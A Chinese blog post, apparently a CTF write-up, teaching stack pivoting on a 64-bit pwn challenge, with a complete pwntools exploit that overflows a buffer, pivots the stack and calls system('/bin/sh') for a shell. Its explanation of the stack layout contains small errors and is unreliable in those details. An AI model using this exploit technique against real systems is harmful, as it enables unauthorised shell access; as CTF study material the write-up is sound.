从一道简单的pwn题 认识 栈转移

这个题 好像是  bugku的 但是好像这个题 给换了   

这个是 64位的程序 

 这个题  难搞点就是  栈空间不够   可以看的出来 我们s的地方是  rbp-0x10的地方 那么 返回地址 应该就是 rbp-0x18的地址 

如果我们想把这个搞定  那么 要考虑一下 栈转移   栈转移 有很多高级的用法  这里 就浅显的说一些简单的 栈转移 

栈转移 其实就是利用的是   这两个语句 

leave 这个 可以拆分成  mov esp  ebp  pop  ebp    这里的  pop ebp 就可以把我们的ebp 值改变了    那么 栈空间就转移了  

我们就可以确定我们写入的地址是多少了   那么 我们在构造一下 参数就行了  

具体看exp 就好

#coding:utf-8

from pwn import *

io=process('./pwn3' )
#io=remote('114.116.54.89',10000)


elf=ELF('./pwn3')


read_addr=0x40072a
system_call=0x40075a
write_addr=0x601fa0

pop_rdi=0x00000000004007d3


pay='a'*0x10+p64(write_addr+0x10)+p64(read_addr)
io.sendline(pay)

pay="/bin/sh\x00"

pay+='a'*(0x10-len(pay))
pay+=p64(0)
pay+=p64(pop_rdi)
pay+=p64(write_addr)
pay+=p64(0x40075a)

io.sendline(pay)
io.interactive()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值